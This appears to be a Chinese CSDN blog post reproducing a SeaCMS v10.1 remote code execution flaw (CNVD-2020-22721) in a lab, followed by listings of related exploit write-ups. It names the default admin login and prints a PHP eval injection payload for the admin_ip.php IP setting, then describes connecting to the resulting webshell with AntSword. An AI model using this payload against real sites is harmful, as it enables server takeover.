seacms_v10.1_RCE_cnvd-2020-22721【漏洞复现】

已于 2023-11-03 14:47:21 修改
阅读量76 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全 php 安全威胁分析
于 2023-10-27 14:48:23 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51494407/article/details/134076061
版权

漏洞描述

海洋 CMS 一套程序自适应电脑、手机、平板、APP 多个终端入口。 SeaCMS v10.1 存在命令执行漏洞，在 w1aqhp/admin_ip.php 下第五行使用 set 参数，对用户输入没有进行任何处理，直接写入文件。攻击者可利用该漏洞执行恶意代码，获取服务器权限。 后台路径：/manager 后台密码：admin:admin

漏洞复现

登录后台

image-20231027140213174

后台 IP 安全设置

image-20231027140253483

点击确认后 bp 进行抓包，改包

v=0&ip=+127.0.0.1";eval($_POST[1]);//

image-20231027140353017

蚁剑连接

http://10.9.47.6:33025/manager/admin_ip.php

image-20231027143510308

获得 shell

image-20231027144105172

wuuuenoi
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
CNVD-2020-46552 深信服EDR远程代码执行漏洞复现
afei001
01-19 920
目录 1.漏洞概述 2.影响版本 3.漏洞等级 4.漏洞复现 5.漏洞修复 1.漏洞概述 终端检测响应平台（EDR）是深信服公司提供的一套终端安全解决方案，方案由轻量级的端点安全软件和管理平台软件共同组成。2020年08月18日左右检测到深信服EDR存在远程代码执行漏洞。该漏洞编号为CNVD-2020-46552。攻击者可以通过构造payload绕过登录判断，直接拿到系统管理员/用户权限。 ...
Fastjson反序列化RCE漏洞复现—CNVD-2017-02833
afei001
10-10 800
fastjson是一款用Java语言编写的高性能功能完善的JSON库。可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的类型，其次，Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法，那么当组件开启了autotype功能并且反序列化不可信数据时，攻击者可以构造数据，使目标应用的代码执行流程进入特定类的特定se
seacms_CNVD-2020-22721_v10.1漏洞分析与复现
一个努力学习网安的小牛马
10-27 868
seacms漏洞复现详情
scacms_v10.1_RCE_cnvd-2020-22721漏洞复现
weixin_51559599的博客
10-27 74
vulfocus 平台后台登陆页面/manager账密漏洞位置必须一次成功，否则重启环境。
海康威视__RCE漏洞_CVE-2023-6895 漏洞复现
m0_64366018的博客
01-13 957
2.复现过程 2.1页面展示 ******************************************************************************************喜欢就点点收藏和关注,如何多人喜欢的话，我尽量日更最新漏洞的复现！！******************************************************************************************
CNVD-2022-10270/CNVD-2022-03672 向日葵RCE复现
王-哪跑的博客
02-27 4674
1.向日葵介绍 [向日葵远程控制]是一款提供远程控制服务的软件。其支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作，在任何可连入互联网的地点，都可以轻松访问和控制安装了向日葵远程控制客户端的设备。整个远控过程，可通过浏览器直接进行，无需再安装软件。 2.漏洞描述 上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞（CNVD-2022-10270/CNVD-2022-03672），影响Windows系统使用的个人版和简约版，攻击者可利用该漏洞获取服务器控制
SMBGhost_RCE漏洞（CVE-2020-0796）复现
Rainbow_Melo
06-27 3033
漏洞描述 SMB 3.1.1协议处理某些请求的方式中存在远程执行代码漏洞，可能被攻击者利用远程执行任意代码。该漏洞的后果十分接近永恒之蓝系列，都利用Windows SMB漏洞远程攻击获取系统最高权限,故也称永恒之黑。 影响范围 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Syste..
远程控制漏洞CNVD-2022-10270/CNVD-2022-03672 向日葵RCE复现与解决
Gjqhs的博客
03-01 3293
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞（CNVD-2022-10270/CNVD-2022-03672），影响Windows系统使用的个人版和简约版，攻击者可利用该漏洞获取服务器控制权。 影响版本： 向日葵个人版 for Windows <= 11.0.0.33 向日葵简约版 <= V1.0.1.43315（2021.12） 实验环境 ：win10虚拟机 工具下载(含有漏洞版本的向日葵)：https://github.com/Mr-xn/sunlog...
向日葵RCE(CNVD-2022-10270/CNVD-2022-03672)
我了解豹女就像农民伯伯了解大米
03-19 1200
目录 漏洞描述： 工具复现： CS服务器上线：（失败） 漏洞描述： 上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞（CNVD-2022-10270/CNVD-2022-03672），影响Windows系统使用的个人版和简约版，攻击者可利用该漏洞获取服务器控制权。 影响版本： 向日葵个人版 for Windows <= 11.0.0.33 向日葵简约版 <= V1.0.1.43315（2021.12） 工具复现： 同一局域网： 攻击机：172.5
向日葵RCE漏洞（CNVD-2022-10270）检测工具
02-19
向日葵RCE漏洞（CNVD-2022-10270）检测工具，已经编译好，命令行运行即可 xrkrce.exe -h 127.0.0.1
CVE-2020-8813 Cacti v1.2.8 RCE.MD
04-13
CVE-2020-8813 Cacti v1.2.8 RCE
CVE-2020-0796_SMBGhost_RCE_exp.zip
06-05
CVE-2020-0796_SMBGhost_RCE_exp.zip CVE-2020-0796 exp
CVE-2020-14368:Eclipse CHE的交互式RCE漏洞演示
05-15
CSWSH-THEIA-CVE-2020-14368 报告目标：可在che.openshift.io上获得Eclipse CHE部署漏洞类型：跨站点Websocket劫持发现日期：2020-04-08 作者：Robin Duda（codingchili @ github）概括Eclipse CHE adn Theia中的/ ...
网络安全（补充）
最新发布
m0_62207482的博客
06-12 1205
虚拟专用网中可以采用隧道技术 IPSec的加密和认证过程中所使用的密钥由IKE机制来生成和分发 传输模式下的AH和ESP处理后的IP头部不变，而隧道模式下的AH和ESP处理后需要新封装一个新的IP头 SSL协议可分为两层，处于下层的是SSL记录 SSL握手协议，由三种协议组合而成，包含握手协议、密码规格变更协议及报警协议。其用途是在两个应用程序开始传送或接收数据前，为其提供服务器和客户端间相互认证的服务，并相互协商决定双方通信使用的加密算法及加密密钥 属于第二层隧道协议的是PPTP和L2TP，第二
基于拓扑漏洞分析的网络安全态势感知模型
attack2001的专栏
06-07 982
漏洞态势分析是指通过获取网络系统中的漏洞信息、拓扑信息、攻击信息等，分析网络资产可能遭受的安全威胁以及预测攻击者利用漏洞可能发动的攻击，构建拓扑漏洞图，展示网络中可能存在的薄弱环节，以此来评估网络安全状态。在网络安全形势日益恶化的今天，如何快速有效地获取网络系统的安全状况、提高网络安全应对水平、增大网络安全的预警时间，成为网络空间安全领域研究的重要问题。网络漏洞态势感知研究存在的问题是缺乏有效的网络漏洞势数据采集和要素提取方法，使得网络资产漏洞态势的理解和分析计算难以进行。
国内外网络安全现状分析
waitaikong_的博客
06-10 462
综上所述，无论是国内还是国际层面，网络安全都是一个复杂且不断演变的领域。面对日益严峻的网络安全威胁，需要政府、企业和个人共同努力，不断提升技术防护能力，加强法律法规建设，并通过国际合作共同应对挑战。同时，加强网络安全教育和人才培养也是保障网络安全的重要环节。在未来，随着技术的不断进步和国际合作的加深，我们有理由相信网络安全状况将会得到进一步的改善。
致远m3-server反序列化rce漏洞复现
12-22
致远m3-server存在反序列化RCE漏洞，攻击者可以利用此漏洞在远程服务器上执行恶意代码。为了复现这个漏洞，我们可以按照以下步骤进行： 1. 确认漏洞版本：首先需要确定目标服务器上的致远m3-server版本是否存在漏洞。可以通过查看官方公告或漏洞报告来确认。 2. 搭建测试环境：在本地搭建一个与目标服务器相似的测试环境，可以使用虚拟机或Docker等工具来模拟目标服务器环境。 3. 准备利用工具：准备一个适用于该漏洞的利用工具，例如ysoserial等，用于构造恶意的反序列化payload。 4. 发起攻击：利用准备好的利用工具构造恶意payload，然后向目标服务器发送恶意请求，触发漏洞并执行恶意代码。 5. 验证漏洞利用：在攻击成功后，可以通过查看服务器日志或执行一些系统命令来验证是否成功执行了恶意代码。 6. 报告漏洞：一旦成功复现了漏洞，需要及时向致远m3-server的官方或相关安全机构报告漏洞细节，以便及时修复和防范。 总的来说，复现致远m3-server反序列化RCE漏洞需要仔细分析漏洞利用的过程，同时要遵守相关法律法规，不得在未经授权的情况下攻击他人系统。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值